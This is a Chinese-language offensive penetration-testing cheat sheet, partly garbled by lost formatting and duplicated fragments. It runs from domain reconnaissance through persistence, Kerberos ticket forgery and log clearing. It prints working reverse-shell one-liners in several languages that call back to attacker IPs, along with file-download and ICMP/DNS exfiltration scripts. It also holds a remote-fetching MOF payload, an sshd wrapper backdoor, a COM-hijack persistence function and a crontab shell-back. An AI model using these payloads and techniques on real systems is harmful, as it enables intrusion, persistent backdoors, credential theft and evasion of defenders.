r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Set args = Wscript.Arguments
Url = "http://domain/file"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile " C:\%homepath%\file", 2 '
end with
执行 :cscript test.vbs
Perl
#!/usr/bin/perl
use LWP::Simple;
getstore("http://domain/file", "file");
net user ------> 本机用户列表
net localgroup administrators ------> 本机管理员[通常含有域用户]
net user /domain ------> 查询域用户
net group /domain ------> 查询域里面的工作组
net group "domain admins" /domain ------> 查询域管理员用户组
net localgroup administrators /domain ------> 登录本机的域管理员
net localgroup administrators workgroup\user001 /add ----->域用户添加到本机 net group "Domain controllers" -------> 查看域控制器(如果有多台)
net view ------> 查询同一域内机器列表 net view /domain ------> 查询域列表
net view /domain:domainname
dsquery
dsquery computer domainroot -limit 65535 && net group "domain
computers" /domain ------> 列出该域内所有机器名
dsquery user domainroot -limit 65535 && net user /domain------>列出该域内所有用户名
dsquery subnet ------>列出该域内网段划分
dsquery group && net group /domain ------>列出该域内分组
dsquery ou ------>列出该域内组织单位
dsquery server && net time /domain------>列出该域内域控制器
Get-NetDomain - gets the name of the current user's domain
Get-NetForest - gets the forest associated with the current user's domain
Get-NetForestDomains - gets all domains for the current forest
Get-NetDomainControllers - gets the domain controllers for the current computer's domain
Get-NetCurrentUser - gets the current [domain\]username
Get-NetUser - returns all user objects, or the user specified (wildcard specifiable)
Get-NetUserSPNs - gets all user ServicePrincipalNames
Get-NetOUs - gets data for domain organization units
Get-NetGUIDOUs - finds domain OUs linked to a specific GUID
Invoke-NetUserAdd - adds a local or domain user
Get-NetGroups - gets a list of all current groups in the domain
Get-NetGroup - gets data for each user in a specified domain group
Get-NetLocalGroups - gets a list of localgroups on a remote host or hosts
Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts
Get-NetLocalServices - gets a list of running services/paths on a remote host or hosts
Invoke-NetGroupUserAdd - adds a user to a specified local or domain group
Get-NetComputers - gets a list of all current servers in the domain
Get-NetFileServers - get a list of file servers used by current domain users
Get-NetShare - gets share information for a specified server
Get-NetLoggedon - gets users actively logged onto a specified server
Get-NetSessions - gets active sessions on a specified server
Get-NetFileSessions - returned combined Get-NetSessions and Get-NetFiles
Get-NetConnections - gets active connections to a specific server resource (share)
Get-NetFiles - gets open files on a server
Get-NetProcesses - gets the remote processes and owners on a remote server
Author: Evi1cg
Blog: https://evi1cg.github.io
Table of Contents
信息搜集
开源情报信息收集(OSINT)
github
whois查询/注册人反查/邮箱反查/相关资产
google hacking
创建企业密码字典
字典列表
Blasting_dictionary(分享和收集各种字典,包括弱口令,常用密码,目录爆破。数据库爆破,编辑器爆破,后台爆破等)
密码生成
邮箱列表获取
泄露密码查询
对企业外部相关信息进行搜集
子域名获取
Linux
Windows
进入内网
基于企业弱账号漏洞
基于系统漏洞进入
网站应用程序渗透
无线Wi-Fi接入
隐匿攻击
Command and Control
Fronting
代理
内网跨边界应用
内网跨边界转发
内网跨边界代理穿透
EW
正向 SOCKS v5 服务器:
反弹 SOCKS v5 服务器:
a) 先在一台具有公网 ip 的主机A上运行以下命令:
b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口
多级级联
lcx_tran 的用法
lcx_listen、lcx_slave 的用法
“三级级联”的本地SOCKS测试用例以供参考
Termite
使用说明:https://rootkiter.com/Termite/README.txt
代理脚本
reGeorg :https://github.com/sensepost/reGeorg
shell反弹
bash
perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'php
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'java
nc
lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"内网文件的传输和下载
wput
wget
ariac2(需安装)
powershell
$p = New-Object System.Net.WebClient $p.DownloadFile("http://domain/file","C:%homepath%file")vbs脚本
Set args = Wscript.Arguments Url = "http://domain/file" dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", Url, False xHttp.Send with bStrm .type = 1 ' .open .write xHttp.responseBody .savetofile " C:\%homepath%\file", 2 ' end withPerl
#!/usr/bin/perl use LWP::Simple; getstore("http://domain/file", "file");Python
#!/usr/bin/python import urllib2 u = urllib2.urlopen('http://domain/file') localFile = open('local_file', 'w') localFile.write(u.read()) localFile.close()Ruby
#!/usr/bin/ruby require 'net/http' Net::HTTP.start("www.domain.com") { |http| r = http.get("/file") open("save_location", "wb") { |file| file.write(r.body) } }PHP
NC
attacker
target
FTP
TFTP
Bitsadmin
Window 文件共享
SCP
本地到远程
远程到本地
rsync
远程rsync服务器中拷贝文件到本地机
本地机器拷贝文件到远程rsync服务器
certutil.exe
copy
WHOIS
接收端 Host B:
发送端 Host A:
WHOIS + TAR
First:
Next
Finally
PING
发送端:
接收端ping_receiver.py:
import sys try: from scapy.all import * except: print("Scapy not found, please install scapy: pip install scapy") sys.exit(0) def process_packet(pkt): if pkt.haslayer(ICMP): if pkt[ICMP].type == 8: data = pkt[ICMP].load[-4:] print(f'{data.decode("utf-8")}', flush=True, end="", sep="") sniff(iface="eth0", prn=process_packet)DIG
发送端:
接收端dns_reciver.py:
try: from scapy.all import * except: print("Scapy not found, please install scapy: pip install scapy") def process_packet(pkt): if pkt.haslayer(DNS): domain = pkt[DNS][DNSQR].qname.decode('utf-8') root_domain = domain.split('.')[1] if root_domain.startswith('gooogle'): print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True, end='') sniff(iface="eth0", prn=process_packet)...
搭建 HTTP server
python2
python3
PHP 5.4+
ruby
Perl
perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'busybox httpd
内网信息搜集
本机信息搜集
1、用户列表
windows用户列表
分析邮件用户,内网[域]邮件用户,通常就是内网[域]用户
2、进程列表
析杀毒软件/安全监控工具等
邮件客户端
VPN
ftp等
3、服务列表
与安全防范工具有关服务[判断是否可以手动开关等]
存在问题的服务[权限/漏洞]
4、端口列表
开放端口对应的常见服务/应用程序[匿名/权限/漏洞等]
利用端口进行信息收集
5、补丁列表
分析 Windows 补丁
第三方软件[Java/Oracle/Flash 等]漏洞
6、本机共享
本机共享列表/访问权限
本机访问的域共享/访问权限
7、本用户习惯分析
历史记录
收藏夹
文档等
8、获取当前用户密码工具
Windows
Linux
扩散信息收集
端口扫描
常用端口扫描工具
内网拓扑架构分析
常见信息收集命令
ipconfig:
net:
dsquery
第三方信息收集
权限提升
Windows
BypassUAC
常用方法
常用工具
提权
Linux
内核溢出提权
linux-kernel-exploits
计划任务
SUID
find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \;系统服务的错误权限配置漏洞
不安全的文件/文件夹权限配置
找存储的明文用户名,密码
权限维持
系统后门
Windows
1、密码记录工具
WinlogonHack
WinlogonHack 是一款用来劫取远程3389登录密码的工具,在 WinlogonHack 之前有 一个 Gina 木马主要用来截取 Windows 2000下的密码,WinlogonHack 主要用于截 取 Windows XP 以及 Windows 2003 Server。
键盘记录器
安装键盘记录的目地不光是记录本机密码,是记录管理员一切的密码,比如说信箱,WEB 网页密码等等,这样也可以得到管理员的很多信息。
NTPass
获取管理员口令,一般用 gina 方式来,但有些机器上安装了 pcanywhere 等软件,会导致远程登录的时候出现故障,本软件可实现无障碍截取口令。
Linux 下 openssh 后门
重新编译运行的sshd服务,用于记录用户的登陆密码。
2、常用的存储Payload位置
WMI :
存储:
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null) $StaticClass.Name = 'Win32_Command' $StaticClass.Put() $StaticClass.Properties.Add('Command' , $Payload) $StaticClass.Put()读取:
包含数字签名的PE文件
利用文件hash的算法缺陷,向PE文件中隐藏Payload,同时不影响该PE文件的数字签名
特殊ADS
…
特殊COM文件
磁盘根目录
3、Run/RunOnce Keys
用户级
管理员
4、BootExecute Key
由于smss.exe在Windows子系统加载之前启动,因此会调用配置子系统来加载当前的配置单元,具体注册表键值为:
5、Userinit Key
WinLogon进程加载的login scripts,具体键值:
6、Startup Keys
7、Services
创建服务
8、Browser Helper Objects
本质上是Internet Explorer启动时加载的DLL模块
9、AppInit_DLLs
加载User32.dll会加载的DLL
10、文件关联
11、bitsadmin
12、mof
pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP1"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 1"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consP1"; ScriptingEngine = "JScript"; ScriptText = "GetObject(\"script:https://host.com/test\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };管理员执行:
13、wmi
每隔60秒执行一次notepad.exe
14、Userland Persistence With Scheduled Tasks
劫持计划任务UserTask,在系统启动时加载dll
function Invoke-ScheduledTaskComHandlerUserTask { [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')] Param ( [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [String] $Command, [Switch] $Force ) $ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-ac04-427593b1d060}\InprocServer32" if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){ New-Item $ScheduledTaskCommandPath -Force | New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null }else{ Write-Verbose "Key already exists, consider using -Force" exit } if (Test-Path $ScheduledTaskCommandPath) { Write-Verbose "Created registry entries to hijack the UserTask" }else{ Write-Warning "Failed to create registry key, exiting" exit } } Invoke-ScheduledTaskComHandlerUserTask -Command "C:\test\testmsg.dll" -Verbose15、Netsh
后门触发:每次调用netsh
16、Shim
常用方式:
InjectDll
RedirectShortcut
RedirectEXE
17、DLL劫持
通过Rattler自动枚举进程,检测是否存在可用dll劫持利用的进程
使用:Procmon半自动测试更精准,常规生成的dll会导致程序执行报错或中断,使用AheadLib配合生成dll劫持利用源码不会影响程序执行
工具:https://github.com/sensepost/rattler
工具:https://github.com/Yonsm/AheadLib
18、DoubleAgent
编写自定义Verifier provider DLL
通过Application Verifier进行安装
注入到目标进程执行payload
每当目标进程启动,均会执行payload,相当于一个自启动的方式
POC : https://github.com/Cybellum/DoubleAgent
19、waitfor.exe
不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe
POC : https://github.com/3gstudent/Waitfor-Persistence
20、AppDomainManager
针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程。如果劫持了系统常见.Net程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制
21、Office
劫持Office软件的特定功能:通过dll劫持,在Office软件执行特定功能时触发后门
利用VSTO实现的office后门
Office加载项
22、CLR
无需管理员权限的后门,并能够劫持所有.Net程序
POC:https://github.com/3gstudent/CLR-Injection
23、msdtc
利用MSDTC服务加载dll,实现自启动,并绕过Autoruns对启动项的检测
利用:向 %windir%\system32\目录添加dll并重命名为oci.dll
24、Hijack CAccPropServicesClass and MMDeviceEnumerato
利用COM组件,不需要重启系统,不需要管理员权限
通过修改注册表实现
POC:https://github.com/3gstudent/COM-Object-hijacking
25、Hijack explorer.exe
COM组件劫持,不需要重启系统,不需要管理员权限
通过修改注册表实现
HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1} HKCU\Software\Classes\CLSID{fbeb8a05-beee-4442-804e-409d6c4515e9} HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7} HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}26、Windows FAX DLL Injection
通过DLL劫持,劫持Explorer.exe对fxsst.dll的加载
Explorer.exe在启动时会加载c:\Windows\System32\fxsst.dll(服务默认开启,用于传真服务)将payload.dll保存在c:\Windows\fxsst.dll,能够实现dll劫持,劫持Explorer.exe对fxsst.dll的加载
27、特殊注册表键值
在注册表启动项创建特殊名称的注册表键值,用户正常情况下无法读取(使用Win32 API),但系统能够执行(使用Native API)。
《渗透技巧——"隐藏"注册表的创建》
《渗透技巧——"隐藏"注册表的更多测试》
28、快捷方式后门
替换我的电脑快捷方式启动参数
POC : https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Backdoor/LNK_backdoor.ps1
29、Logon Scripts
30、Password Filter DLL
31、利用BHO实现IE浏览器劫持
Linux
crontab
每60分钟反弹一次shell给dns.wuyun.org的53端口
硬链接sshd
链接:ssh root@192.168.206.142 -p 2333
SSH Server wrapper
#!bash cd /usr/sbin mv sshd ../bin echo '#!/usr/bin/perl' >sshd echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd chmod u+x sshd //不用重启也行 /etc/init.d/sshd restartSSH keylogger
vim当前用户下的.bashrc文件,末尾添加
source .bashrc
Cymothoa_进程注入backdoor
rootkit
openssh_rootkit
Kbeast_rootkit
Mafix + Suterusu rootkit
Tools
Vegile
backdoor
WEB后门
PHP Meterpreter后门
Aspx Meterpreter后门
weevely
webacoo
....
横向渗透
端口渗透
端口扫描
端口爆破
hydra
端口弱口令
端口溢出
smb
apache
ftp
...
常见的默认端口
1、web类(web漏洞/敏感目录)
第三方通用组件漏洞: struts thinkphp jboss ganglia zabbix ...
2、数据库类(扫描弱口令)
3、特殊服务类(未授权/命令执行类/漏洞)
4、常用端口类(扫描弱口令/端口爆破)
5、端口合计所对应的服务
域渗透
信息搜集
powerview.ps1
BloodHound
获取域控的方法
SYSVOL
SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。
相关阅读:
MS14-068 Kerberos
利用mimikatz将工具得到的TGT_domainuser@SERVER.COM.ccache写入内存,创建缓存证书:
相关阅读 :
SPN扫描
Kerberoast可以作为一个有效的方法从Active Directory中以普通用户的身份提取服务帐户凭据,无需向目标系统发送任何数据包。
SPN是服务在使用Kerberos身份验证的网络上的唯一标识符。它由服务类,主机名和端口组成。在使用Kerberos身份验证的网络中,必须在内置计算机帐户(如NetworkService或LocalSystem)或用户帐户下为服务器注册SPN。对于内部帐户,SPN将自动进行注册。但是,如果在域用户帐户下运行服务,则必须为要使用的帐户的手动注册SPN。
SPN扫描的主要好处是,SPN扫描不需要连接到网络上的每个IP来检查服务端口,SPN通过LDAP查询向域控执行服务发现,SPN查询是Kerberos的票据行为一部分,因此比较难检测SPN扫描。
相关阅读 :
Kerberos的黄金门票
在域上抓取的哈希
相关阅读 :
Kerberos的银票务
黄金票据和白银票据的一些区别:
Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限
银票:伪造TGS,只能访问指定的服务
加密方式不同:
Golden Ticket由krbtgt的hash加密
Silver Ticket由服务账号(通常为计算机账户)Hash加密
认证流程不同:
金票在使用的过程需要同域控通信
银票在使用的过程不需要同域控通信
相关阅读 :
域服务账号破解
与上面SPN扫描类似的原理
https://github.com/nidem/kerberoast
获取所有用作SPN的帐户
从Mimikatz的RAM中提取获得的门票
用rgsrepcrack破解
凭证盗窃
从搜集的密码里面找管理员的密码
地址解析协议
实在搞不定再搞ARP
获取AD哈希
提取 KRBTGT用户帐户的密码数据:
管理员用户帐户提取密码数据:
使用esedbexport恢复以后使用ntdsxtract提取
AD持久化
活动目录持久性技巧
https://adsecurity.org/?p=1929
DS恢复模式密码维护
DSRM密码同步
DCshadow
Security Support Provider
简单的理解为SSP就是一个DLL,用来实现身份认证
这样就不需要重启c:/windows/system32可看到新生成的文件kiwissp.log
SID History
SID历史记录允许另一个帐户的访问被有效地克隆到另一个帐户
AdminSDHolder&SDProp
利用AdminSDHolder&SDProp(重新)获取域管理权限
组策略
https://adsecurity.org/?p=2716
策略对象在持久化及横向渗透中的应用
Hook PasswordChangeNotify
http://wooyun.jozxing.cc/static/drops/tips-13079.html
TIPS
《域渗透——Dump Clear-Text Password after KB2871997 installed》
《域渗透——Hook PasswordChangeNotify》
《域渗透——Local Administrator Password Solution》
《域渗透——利用SYSVOL还原组策略中保存的密码》
相关工具
BloodHound
CrackMapExec
DeathStar
在远程系统上执行程序
IOT相关
OWASP-Nettacker
isf
icsmaster
中间人
规避杀软及检测
Bypass Applocker
UltimateAppLockerByPassList
https://lolbas-project.github.io/
bypassAV
痕迹清理
Windows日志清除
获取日志分类列表:
获取单个日志类别的统计信息:
eg.
回显:
查看指定日志的具体内容:
删除单个日志类别的所有信息:
破坏Windows日志记录功能
利用工具
msf
3389登陆记录清除